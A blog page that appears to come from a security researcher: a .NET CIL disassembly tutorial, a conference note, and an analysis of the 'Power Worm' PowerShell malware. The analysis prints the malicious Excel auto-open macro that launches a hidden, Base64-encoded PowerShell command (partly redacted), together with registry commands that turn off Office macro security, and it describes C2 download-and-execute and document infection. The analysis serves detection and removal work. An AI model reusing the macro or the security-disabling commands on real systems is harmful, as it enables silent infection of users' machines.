Sunday, July 13, 2014

.NET Method Internals - Common Intermediate Language (CIL) Basics

For those who have had the privilege of reverse engineering heavily obfuscated .NET code, you've probably encountered cases where your decompiler of choice completely fails (or even crashes in an epic fashion) upon attempting to decompile certain methods. Decompilation failure is often one of the intended goals of .NET obfuscator developers. Fortunately, all of the decompiler utilities are also disassemblers and it is exceedingly rare that your tool of choice will fail to disassemble an unruly method. In the cases where you're forced to work with a disassembled method, a basic understanding of .NET bytecode - i.e. Common Intermediate Language (CIL) is required.

Nearly all .NET methods are comprised of an array of CIL instructions and arguments to the instructions. These instructions are all thoroughly documented. CIL instructions manipulate values on what is referred to as the evaluation stack. CIL instructions can push values onto the stack, pop them off the stack, and perform operations on the values at the top off the stack. Let's see this in action. For this example, we're going to analyze a .NET method that implements a bitwise right circular shift - System.Security.Cryptography.SHA256Managed.RotateRight(uint x, int n).

Here is the decompiled method as seen in ILSpy:


This method takes two arguments - a uint32 (x) which represents the value to be rotated and an int32 (n) which represents the number of rotations to perform. For those unfamiliar with the bitwise rotate operation, please read about it here. Since there is no .NET rotate right operator, the code above is the logical equivalent.

Now, let's assume for a moment that the decompiler failed to decompile the method. In that case, change C# in the language tab to IL in ILSpy. You'll be presented with the following CIL disassembly listing:


Before delving into the CIL instructions, there are some additional properties described in the disassembly that were hidden to you in the decompiled output:

1) cil managed

This indicates that the method is implemented with CIL instructions and that "the body of the method is not defined, but is produced by the runtime." - ECMA-335

2) RVA 0x152A65

The relative virtual address of the method in the DLL or EXE that implements the method - i.e. location of the method within the DLL or EXE.

3) .maxstack 8

Specifies the maximum number of elements required on the evaluation stack during the execution of the method.
This number is emitted by the compiler and is required by the .NET runtime. Note: this value can be higher than what is actually required. As we will see, this method actually only requires four stack slots.

4) Code size 17 (0x11)

The total size of all CIL instructions and arguments.

What's interesting in the disassembly is the presence of binary and instructions which are not present in the decompiled output. As you will see, and'ing the shift value (n) by 31 (0x1F) compensates for when the shift value is larger than 31 (the size, in bits on a uint32 minus 1). In our example, we will perform the following operation: 8 ROR 33 which is the equivalent of 8 ROR 1 (32 + 1). The binary and operations serve to convert values greater than 31 to their equivalent value that lies between 0 and 31.

Now, lets validate that when executed, 8 ROR 33 and 8 ROR 1 generate the same result - 4. Since RotateRight is a Nonpublic (i.e. private) method, we'll need to use reflection to invoke it In PowerShell.

$SHA256Managed = [IntPtr].Assembly.GetType('System.Security.Cryptography.SHA256Managed')
$BindingFlags = [Reflection.BindingFlags] 'NonPublic, Static'
$ROR = $SHA256Managed.GetMethod('RotateRight', $BindingFlags)
$ROR.Invoke($null, @([UInt32] 8, 1))
$ROR.Invoke($null, @([UInt32] 8, 33))


They do indeed result in the same value, as expected.

Let's step through each CIL instruction, observing the effect of each instruction on the evaluation stack.


For more information on CIL and .NET internals, I highly recommend you check out the following:
  1. ECMA C# and Common Language Infrastructure Standards
  2. OpCodes Class
  3. The Common Language Infrastructure Annotated Standard
  4. Metaprogramming in .NET

Tuesday, April 29, 2014

PowerShell Summit 2014

Yesterday, I gave two presentations at the PowerShell Summit. The first presentation was on advanced eventing techniques in PowerShell and the second was on using PowerShell as a reverse engineering tool. As it turns out, PowerShell is an awesome tool for automating the analysis of .NET malware samples. I’ve included the slides for each talk. Additionally, you can download all of my demo code here. Just be mindful that this is all PoC code so it’s not in a well-polished state. Note: I provided the MD5 hashes of the malware samples but I won’t be providing a direct download link for them. Enjoy!

As a security professional, attending the PowerShell Summit is a great opportunity for me to meet and mingle with those outside of the security field as it forces me to get out of my security bubble and gain a completely different perspective from a wide range of IT pros and developers who are using PowerShell for completely non-malicious purposes ;)! Not to mention, getting to pick the brains of Microsoft employees like Jeffrey Snover, Lee Holmes, Jason Shirk, and Joe Bialek is humbling to say the least.





Saturday, April 5, 2014

Analyzing the "Power Worm" PowerShell-based Malware

On March 27, 2014, Trend Micro revealed the so called “Power Worm” PowerShell-based malware that is actively being used in the wild. With so few publicly reported instances of PowerShell malware in existence, I was excited to get my hands on this most recent strain of PowerShell-based malware. Unable to track it down on my own, I reached out to the security and PowerShell communities. It was with great relief that my friend Lee Holmes – PowerShell developer extraordinaire and author of the Windows PowerShell Cookbook kindly provided me with all of the samples described in the Trend Micro post.

While the Trend Micro post was thorough in its coverage of the broader capabilities of the malware, they did not provide an analysis of its implementation which, as a PowerShell enthusiast and malware analyst, I was very interested in. That said, what follows is my analysis of the mechanics of the Office document infecting malware. Since there were multiple payloads associated with “Power Worm.” I decided to focus on the X97M_CRIGENT.A payload – a malicious Excel spreadsheet.

The targeted Excel macro used in the "Power Worm" campaign

The spreadsheet contains the following macro:

Private Sub Workbook_Open()
b = "JwBDAEkREDACTEDREDACTED" _
& "QA7ACcAcgREDACTEDREDACTED" _
& "BzACgAKQAREDACTEDREDACTED" _
& "jAGUAIAAtREDACTEDREDACTED" _
& "ACAAUwB5AREDACTEDREDACTED" _
& "GcALgBpAGREDACTEDREDACTED" _
& "4AIAAtAGEREDACTEDREDACTED" _
& "AdAAuAHAAREDACTEDREDACTED"
Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub

People have asked, “Wouldn’t the PowerShell execution policy potentially mitigate this attack?” No. First of all, the execution policy should not be viewed as a security mitigation considering PowerShell itself provides the mechanism to bypass it. Second, the execution policy is not honored when a Base64 encoded command is provided to the ‘-EncodedCommand’ parameter. Malware authors know this and will never run into a situation where the execution policy is the reason their malicious PowerShell code was prevented from executing. Having macros disabled by default prevents the initial infection, but all it takes is a naïve victim to click a single button to enable macros.

The ‘Workbook_Open’ function will execute automatically upon opening an Excel spreadsheet (assuming macros are allowed to execute). After decoding the Base64-encoded PowerShell command, you will be presented with an obfuscated mess consisting of the following:

  1. The payload is a single line of semicolon delimited PowerShell commands.
  2. Junk strings that have no impact on the script are inserted between each command.
  3. All variables and function names are randomly generated and have no logical meaning.
  4. Lastly, some functions used in the script are not implemented until a subsequent payload is downloaded from the command and control (C2) server.

I rewrote all of the “Power Worm” malware (redacting key portions) that I was able to obtain so that those interested don’t have to be bogged down with difficult to understand obfuscated code. I also created a PowerWorm GitHub repo where you will find the following code:

  1. The rewritten X97M_CRIGENT.A PowerShell payloads (5 parts in total)
  2. Test-PowerWormInfection – Detects and removes a “Power Worm” infection
  3. Get-ExcelMacro – Outputs and removes Excel spreadsheet macros
  4. Get-WordMacro – Outputs and removes Word document macros

As soon as the macro executes and launches PowerShell, the following code is executed:


  1. Suppress error messages.
  2. Obtain the machine GUID with WMI. This unique value specific to your system is used throughout the malware as a directory name to store downloaded files, registry key names where additional payload are persisted, and as a unique identifier for the C2 server.
  3. Next, If the malware is already persistent in the registry, don’t bother running the payload again. It will execute again at next reboot.
  4. Define a function to resolve DNS TXT records and download and decompress a zip file located at the URI in the resolved TXT record. Both Tor and Polipo are downloaded via this function.
  5. Mark the downloaded file directory as hidden.

The next portion of the payload executes tor and polipo, a requirement for communicating with the C2 server and downloads and executes the next stage of the attack:


For those unfamiliar with common malware techniques, what should be worrisome about the fact that additional PowerShell code is downloaded and executed is that the malware authors have complete control over the downloaded content. The analysis that follows describes the instance of the malware that I downloaded. The malware authors could very well change the payload at any time.

The downloaded payload starts by persisting three additional Base64-encoded payloads to the registry.


The Trend Micro article neglected to mention the two payloads saved in the registry at the following locations:

HKCU:\Software\Microsoft -> {Machine GUID}0
HKCU:\Software\Microsoft -> {Machine GUID}1

$EncodedPayload1 and $EncodedPayload2 are essentially equivalent to the initial payload included in the Excel macro – they serve to reinfect the system and download/execute any additional payloads. $EncodedPayload3 contains all the logic to infect Office documents.

The malware then collects information about the compromised system and uploads it to the C2 server. 


Finally, the Office document infection functions are called and if an additional payload is available, it is executed. I was unable to retrieve the additional payload during my analysis.


The Office document infection payload implements the following functions:

  1. Start-NewDriveInfection – Registers a WMI event that detects when a new drive is added (e.g. USB thumb drive) and infects all Office documents present on the drive
  2. Invoke-OfficeDocInfection – Infects all Office documents on the drive letter specified
  3. Start-ExistingDriveInfection – Registers a FileSystemWatcher event to detect and infect newly created Office documents
  4. Set-OfficeDocPayload – Adds a macro to the specified Office document
  5. New-MaliciousMacroPayload – Generates a macro based upon one of the payloads present in the registry
  6. Set-ExcelDocumentMacroPayload – Infects an Excel spreadsheet
  7. Set-WordDocumentMacroPayload – Infects a Word document

In order to programmatically create/modify/remove Excel and Word macros, macro security must be disabled in the registry with these commands:

Set-ItemProperty HKCU:\Software\Microsoft\Office\*\*\Security -Name AccessVBOM -Type DWORD -Value 1
Set-ItemProperty HKCU:\Software\Microsoft\Office\*\*\Security -Name VBAWarnings -Type DWORD -Value 1 

After the registry values are set, you will no longer be prompted to enable macros. They will execute automatically without your knowledge. Also, be mindful that if a macro is present in an Office document and you attempt to analyze it with the Word.Application and Excel.Application COM objects, the macro security settings are not honored and the macro will execute without your permission. Before opening an Office document with the COM objects, you must explicitly disallow the execution of macros by setting the ‘AutomationSecurity’ property to ‘msoAutomationSecurityForceDisable’.

The Word document infector is implemented as follows:


What’s interesting is that once the macro is written to the Word document, it is downgraded to a ‘macro-enabled’ .doc file.

Once a document or spreadsheet is infected, it will download and execute another PowerShell payload. I was unable to successfully download any additional payloads during my analysis. Either I was not emulating C2 communication properly or the payload was not made available at the time.

So in the end, I was rather impressed by the effectiveness of which the PowerShell payloads infected Office documents. It has yet to be seen though the true power of this malware until additional malicious payloads can be downloaded from the C2 server.

Should you become the victim of a “Power Worm” infection or any malicious Office document for that matter, I’ve provided tools to detect and remove “Power Worm” and Word/Excel macros. You can download these tools from my Github repo.